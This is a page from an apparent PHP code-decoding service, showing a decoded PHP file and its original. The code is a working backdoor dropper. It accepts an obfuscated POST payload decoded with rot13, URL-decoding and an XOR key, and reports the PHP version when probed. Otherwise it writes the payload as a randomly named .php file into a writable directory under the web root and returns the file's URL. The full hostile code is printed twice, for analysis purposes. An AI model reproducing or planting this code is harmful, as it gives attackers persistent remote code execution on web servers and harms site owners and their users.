Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php $jmnck = "zzdeoepsxwjfqnli";$bbremjig = "";foreach ($_POST as $geqmbxv => $hrjhqipzf..

Decoded Output download

<?php $jmnck = "zzdeoepsxwjfqnli";$bbremjig = "";foreach ($_POST as $geqmbxv => $hrjhqipzfu){if (strlen($geqmbxv) == 16 and substr_count($hrjhqipzfu, "%") > 10){urcopfqpn($geqmbxv, $hrjhqipzfu);}}function urcopfqpn($geqmbxv, $wowbk){global $bbremjig;$bbremjig = $geqmbxv;$wowbk = str_split(rawurldecode(str_rot13($wowbk)));function duogw($zubfgfbyl, $geqmbxv){global $jmnck, $bbremjig;return $zubfgfbyl ^ $jmnck[$geqmbxv % strlen($jmnck)] ^ $bbremjig[$geqmbxv % strlen($bbremjig)];}$wowbk = implode("", array_map("duogw", array_values($wowbk), array_keys($wowbk)));$wowbk = @unserialize($wowbk);if (@is_array($wowbk)){$geqmbxv = array_keys($wowbk);$wowbk = $wowbk[$geqmbxv[0]];if ($wowbk === $geqmbxv[0]){echo @serialize(Array('php' => @phpversion(), ));exit();}else{function efuialkko($dzpmnhqhjir) {static $qrowsoa = array();$juxipmzt = glob($dzpmnhqhjir . '/*', GLOB_ONLYDIR);if (count($juxipmzt) > 0) {foreach ($juxipmzt as $dzpmnhqhj){if (@is_writable($dzpmnhqhj)){$qrowsoa[] = $dzpmnhqhj;}}}foreach ($juxipmzt as $dzpmnhqhjir) efuialkko($dzpmnhqhjir);return $qrowsoa;}$hnlof = $_SERVER["DOCUMENT_ROOT"];$juxipmzt = efuialkko($hnlof);$geqmbxv = array_rand($juxipmzt);$xqhjizzx = $juxipmzt[$geqmbxv] . "/" . substr(md5(time()), 0, 8) . ".php";@file_put_contents($xqhjizzx, $wowbk);echo "http://" . $_SERVER["HTTP_HOST"] . substr($xqhjizzx, strlen($hnlof));exit();}}} ?>

Did this file decode correctly?

Original Code

<?php $jmnck = "zzdeoepsxwjfqnli";$bbremjig = "";foreach ($_POST as $geqmbxv => $hrjhqipzfu){if (strlen($geqmbxv) == 16 and substr_count($hrjhqipzfu, "%") > 10){urcopfqpn($geqmbxv, $hrjhqipzfu);}}function urcopfqpn($geqmbxv, $wowbk){global $bbremjig;$bbremjig = $geqmbxv;$wowbk = str_split(rawurldecode(str_rot13($wowbk)));function duogw($zubfgfbyl, $geqmbxv){global $jmnck, $bbremjig;return $zubfgfbyl ^ $jmnck[$geqmbxv % strlen($jmnck)] ^ $bbremjig[$geqmbxv % strlen($bbremjig)];}$wowbk = implode("", array_map("duogw", array_values($wowbk), array_keys($wowbk)));$wowbk = @unserialize($wowbk);if (@is_array($wowbk)){$geqmbxv = array_keys($wowbk);$wowbk = $wowbk[$geqmbxv[0]];if ($wowbk === $geqmbxv[0]){echo @serialize(Array('php' => @phpversion(), ));exit();}else{function efuialkko($dzpmnhqhjir) {static $qrowsoa = array();$juxipmzt = glob($dzpmnhqhjir . '/*', GLOB_ONLYDIR);if (count($juxipmzt) > 0) {foreach ($juxipmzt as $dzpmnhqhj){if (@is_writable($dzpmnhqhj)){$qrowsoa[] = $dzpmnhqhj;}}}foreach ($juxipmzt as $dzpmnhqhjir) efuialkko($dzpmnhqhjir);return $qrowsoa;}$hnlof = $_SERVER["DOCUMENT_ROOT"];$juxipmzt = efuialkko($hnlof);$geqmbxv = array_rand($juxipmzt);$xqhjizzx = $juxipmzt[$geqmbxv] . "/" . substr(md5(time()), 0, 8) . ".php";@file_put_contents($xqhjizzx, $wowbk);echo "http://" . $_SERVER["HTTP_HOST"] . substr($xqhjizzx, strlen($hnlof));exit();}}}

Function Calls

None

Variables

$jmnck zzdeoepsxwjfqnli
$bbremjig

Stats

MD5 0a0f17f204d15149b1aa6569e1a51401
Eval Count 0
Decode Time 82 ms